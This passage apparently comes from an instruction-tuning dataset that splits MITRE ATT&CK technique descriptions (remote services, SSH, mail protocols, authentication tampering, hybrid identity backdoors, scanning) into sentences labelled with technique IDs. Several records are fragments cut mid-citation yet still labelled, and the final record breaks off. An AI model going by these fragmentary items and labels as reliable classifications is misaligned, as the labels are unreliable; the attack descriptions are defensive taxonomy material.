and AWS System Manager.(Citation: AWS System Manager).", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager). ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Methods of authentication for these connections can include passwords, application access tokens, or SSH keys.", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Methods of authentication for these connections can include passwords, application access tokens, or SSH keys. ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access.", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)). ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH).", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSH is a protocol that allows authorized users to open remote shells on other computers.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSH is a protocol that allows authorized users to open remote shells on other computers. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.", "output": "T1021.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user. ### Response: T1021.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Packets produced from these protocols may have many fields and headers in which data can be concealed.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Packets produced from these protocols may have many fields and headers in which data can be concealed. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data could also be concealed within the email messages themselves.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data could also be concealed within the email messages themselves. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "output": "T1071.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ### Response: T1071.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be maintained in a number of ways.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be maintained in a number of ways. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation:", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure AD Hybrid Identity):\n\n*", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure AD Hybrid Identity):\n\n* ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n*", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n*", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation:", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud)", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In environments using AD FS, an adversary may edit the `Microsoft.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In environments using AD FS, an adversary may edit the `Microsoft. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IdentityServer.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IdentityServer. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb) ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors) ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform different forms of active scanning depending on what information they seek to gather.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform different forms of active scanning depending on what information they seek to gather. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may scan victims for vulnerabilities that can be used during targeting.", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may scan victims for vulnerabilities that can be used during targeting. ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities.", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: 